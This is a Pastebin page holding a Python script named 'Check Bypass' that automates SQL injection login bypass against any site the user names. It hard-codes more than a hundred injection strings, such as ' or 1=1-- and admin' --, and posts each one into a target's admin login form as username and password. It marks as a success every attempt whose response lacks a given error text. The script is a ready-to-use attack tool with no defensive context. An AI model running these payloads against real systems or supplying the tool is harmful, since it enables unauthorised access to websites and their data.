Advertisement
sec_BA

Check Bypass

Nov 2nd, 2016
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.44 KB | None | 0 0
  1.  import requests as loginpass
  2. import re
  3.  
  4. icon ='''
  5. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  6. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  7. ▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒
  8. ▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒
  9. ▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒
  10. ▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄░░▒▒▒▒▒
  11. ▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▌░░▒▒▒▒
  12. ▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░▄▄███▀░░░░▒▒▒
  13. ▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░█████░▄█░░░░▒▒
  14. ▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░▄████████▀░░░░▒▒
  15. ▒▒░░░░░░░░░░░░░░░░░░░░░░░░▄█████████░░░░░░░▒
  16. ▒░░░░░░░░░░░░░░░░░░░░░░░░░░▄███████▌░░░░░░░▒
  17. ▒░░░░░░░░░░░░░░░░░░░░░░░░▄█████████░░░░░░░░▒
  18. ▒░░░░░░░░░░░░░░░░░░░░░▄███████████▌░░░░░░░░▒
  19. ▒░░░░░░░░░░░░░░░▄▄▄▄██████████████▌░░░░░░░░▒
  20. ▒░░░░░░░░░░░▄▄███████████████████▌░░░░░░░░░▒
  21. ▒░░░░░░░░░▄██████live:xsecurty███▌░░░░░░░░░▒
  22. ▒░░░░░░░░██████████████v 1.0█████░░░░░░░░░░▒
  23. ▒█░░░░░▐██████████▌░▀▀███████████░░░░░░░░░░▒
  24. ▐██░░░▄██████████▌░░░░░░░░░▀██▐█▌░░░░░░░░░▒▒
  25. ▒██████░█████████░░░░░░░░░░░▐█▐█▌░░░░░░░░░▒▒
  26. ▒▒▀▀▀▀░░░██████▀░░░░░░░░░░░░▐█▐█▌░░░░░░░░▒▒▒
  27. ▒▒▒▒▒░░░░▐█████▌░░░░░░░░░░░░▐█▐█▌░░░░░░░▒▒▒▒
  28. ▒▒▒▒▒▒░░░░███▀██░░░░░░░░░░░░░█░█▌░░░░░░▒▒▒▒▒
  29. ▒▒▒▒▒▒▒▒░▐██░░░██░░░░░░░░▄▄████████▄▒▒▒▒▒▒▒▒
  30. ▒▒▒▒▒▒▒▒▒██▌░░░░█▄░░░░░░▄███████████████████
  31. ▒▒▒▒▒▒▒▒▒▐██▒▒░░░██▄▄███████████████████████
  32. ▒▒▒▒▒▒▒▒▒▒▐██▒▒▄████████████████████████████
  33. ▒▒▒▒▒▒▒▒▒▒▄▄████████████████████████████████
  34. ████████████████████████████████████████████
  35. '''
  36. print(icon)
  37.  
  38. ############################
  39. #       Start Program      #
  40. ############################
  41. check = """123
  42. 223
  43. 321
  44. 'OR'1=1
  45. 'OR'1=1-- -
  46. ' or '1'='1
  47. ' or 'x'='x
  48. ' or 0=0 --
  49. " or 0=0 --
  50. or 0=0 --
  51. ' or 0=0 #
  52. " or 0=0 #
  53. or 0=0 #
  54. ' or 'x'='x
  55. " or "x"="x
  56. ') or ('x'='x
  57. ' or 1=1--
  58. " or 1=1--
  59. or 1=1--
  60. ' or a=a--
  61. " or "a"="a
  62. ') or ('a'='a
  63. ") or ("a"="a
  64. hi" or "a"="a
  65. hi" or 1=1 --
  66. hi' or 1=1 --
  67. 'or'1=1'
  68. ==
  69. and 1=1--
  70. and 1=1
  71. ' or 'one'='one--
  72. ' or 'one'='one
  73. ' and 'one'='one
  74. ' and 'one'='one--
  75. 1') and '1'='1--
  76. admin' --
  77. admin' #
  78. admin'/*
  79. or 1=1--
  80. or 1=1#
  81. or 1=1/*
  82. ) or '1'='1--
  83. ) or ('1'='1--
  84. ' or '1'='1
  85. ' or 'x'='x
  86. ' or 0=0 --
  87. " or 0=0 --
  88. or 0=0 --
  89. ' or 0=0 #
  90. " or 0=0 #
  91. or 0=0 #
  92. ' or 'x'='x
  93. " or "x"="x
  94. ') or ('x'='x
  95. ' or 1=1--
  96. " or 1=1--
  97. or 1=1--
  98. ' or a=a--
  99. " or "a"="a
  100. ') or ('a'='a
  101. ") or ("a"="a
  102. hi" or "a"="a
  103. hi" or 1=1 --
  104. hi' or 1=1 --
  105. 'or'1=1'
  106. 'or''='
  107. admin'--
  108. ' or 0=0 --
  109. " or 0=0 --
  110. or 0=0 --
  111. ' or 0=0 #
  112. " or 0=0 #
  113. or 0=0 #
  114. ' or 'x'='x
  115. " or "x"="x
  116. ') or ('x'='x
  117. ' or 1=1--
  118. " or 1=1--
  119. or 1=1--
  120. ' or a=a--
  121. " or "a"="a
  122. ') or ('a'='a
  123. ") or ("a"="a
  124. hi" or "a"="a
  125. hi" or 1=1 --
  126. hi' or 1=1 --
  127. hi' or 'a'='a
  128. hi') or ('a'='a
  129. hi") or ("a"="a"""
  130.  
  131. listpass = []
  132. def bypass(login):
  133.     for pasword in login.split('\n'):
  134.         listpass.append(pasword)
  135.  
  136. bypass(check)
  137.  
  138.  
  139. def Login(url,path,inuser,inpass,test,err):
  140.     session = loginpass.Session()
  141.     session.get("http://"+url+path)
  142.     session.headers = {
  143.         "Host": str(url),
  144.         "User-Agent": "Mozilla/5.0(Windows NT 6.3;WOW64;rv:46.0)Gecko/20100101Firefox/46.0",
  145.         "Accept": "*/*",
  146.         "Content-Type": "application/x-www-form-urlencoded",
  147.         "Accept-Language": "en-US,en;q=0.5",
  148.         "Referer": "http://"+url+path
  149.     }
  150.     logindata = {inuser:test,inpass:test}
  151.     uurl = "http://"+url+path
  152.     login_post = session.post(uurl,data=logindata)
  153.     if err in login_post.text:
  154.         print("[-]"+test)
  155.     else:
  156.         print("[+]" + test )
  157.  
  158.  
  159. input_url = input("Please Enter Url ex:www.xxx.com Dont Add http:// >>> ")
  160. input_path = input("please Enter Path admin ex: /admin/ >>> ")
  161. input_user = input("Please Add input user ex: username >>> ")
  162. input_pwd = input("please Add input password ex: pwd >>> ")
  163. input_err = input("please Add err in page login or note ex: name=\"username\" >>> ")
  164. for lis in listpass:
  165.     Login(url=input_url, path=input_path, inuser=input_user, inpass=input_pwd, test=lis,
  166.           err=input_err)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement